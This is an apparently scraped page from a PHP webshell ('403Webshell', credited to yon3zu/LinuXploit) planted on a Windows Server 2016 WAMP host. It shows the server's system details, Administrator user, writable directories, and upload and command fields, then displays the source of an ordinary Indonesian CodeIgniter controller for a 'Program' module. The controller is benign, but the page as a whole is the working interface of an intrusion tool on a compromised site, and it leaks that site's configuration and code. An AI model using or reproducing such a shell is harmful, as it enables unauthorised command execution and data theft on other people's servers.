403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/simbada_2017/application/modules/program/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/simbada_2017/application/modules/program/controllers/program.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Program extends Userpage_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'program';
    $this->modul_display = 'Program';
    $this->view_daftar = 'program_view';
    $this->report_daftar = 'Daftar Program';
    $this->load->model('program_model', 'data_model');
		
		$this->message_aktivitas_dihapus = 'Data berhasil dihapus';
    $this->message_aktivitas_gagal_dihapus = 'Data gagal dihapus';
  }

  public function index()
  {
    $this->daftar();
  }

  public function daftar()
  {
    $this->load->model('auth/login_model', 'auth');
    $data['breadcrumbs'] = 'Daftar '.$this->modul_display;
    $data['modul'] = $this->modul_name;
    $data['report_daftar'] = $this->report_daftar;
    $data['akses'] = $this->auth->get_level_akses($this->uri->slash_segment(1));
    $data['grid']['fields'] = $this->data_model->get_data_fields();

    $data['main_content'] = $this->view_daftar;
    $this->load->view('layout/template', $data);
  }

  protected function validasi_form()
  {
    $this->form_validation->set_rules('idb', 'Bidang', 'trim');
    $this->form_validation->set_rules('kode', 'Kode Program', 'trim|required|max_length[10]|callback__cek_duplikasi|callback__cek_edit_data');
    $this->form_validation->set_rules('nama', 'Nama Program', 'trim|required|max_length[200]');

    $this->form_validation->set_message('required', '%s tidak boleh kosong.');
    $this->form_validation->set_message('max_length', '%s tidak boleh melebihi %s karakter.');
    $this->form_validation->set_message('_cek_duplikasi', 'Kode sudah ada.');
		$this->form_validation->set_message('_cek_edit_data', 'Program tidak bisa diubah, karena sudah digunakan di modul lain.');
  }

  public function _cek_duplikasi()
  {
    return $this->data_model->check_duplikasi_program();
  }
	
	public function _cek_edit_data()
  {
    return $this->data_model->check_edit_data();
  }

  public function get_daftar()
  {
    parent::get_daftar();
    $result = $this->data_model->get_data($this->search_param);

    $response = (object) NULL;
    $response->sql = $this->db->queries;

    $fields = $this->data_model->fieldmap_daftar;
    $last_bidang = 0;
    for($i=0; $i<count($result); $i++)
    {
      /* data bidang */
      if ($result[$i]['ID_BIDANG'] !== $last_bidang)
      {
        $data = array();
        for ($n=0; $n < count($fields); $n++)
        {
          switch ($fields[$n])
          {
            case 'ID_BIDANG' : $data[] = $result[$i]['ID_BIDANG']; break;
            case 'KODE_BIDANG_LKP' : $data[] = $result[$i]['KODE_BIDANG_LKP']; break;
            case 'NAMA_PROGRAM' : $data[] = $result[$i]['NAMA_BIDANG']; break;
            default : $data[] = '';
          }
        }
        $row = new stdClass(); $data[] = 1; // lvl
        $row->id = 'b'.$i;
        $row->cell = $data;
        $response->rows[] = $row;
      }

      /* data program */
      $data = array();
      for ($n=0; $n < count($fields); $n++)
      {
        switch ($fields[$n])
        {
          default : $data[] = $result[$i][$fields[$n]];
        }
      }
      $row = new stdClass();
      $row->id = $result[$i]['ID_PROGRAM'];
      $row->cell = $data;
      if ($row->id > 0) $response->rows[] = $row;

      $last_bidang = $result[$i]['ID_BIDANG'];
    }
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit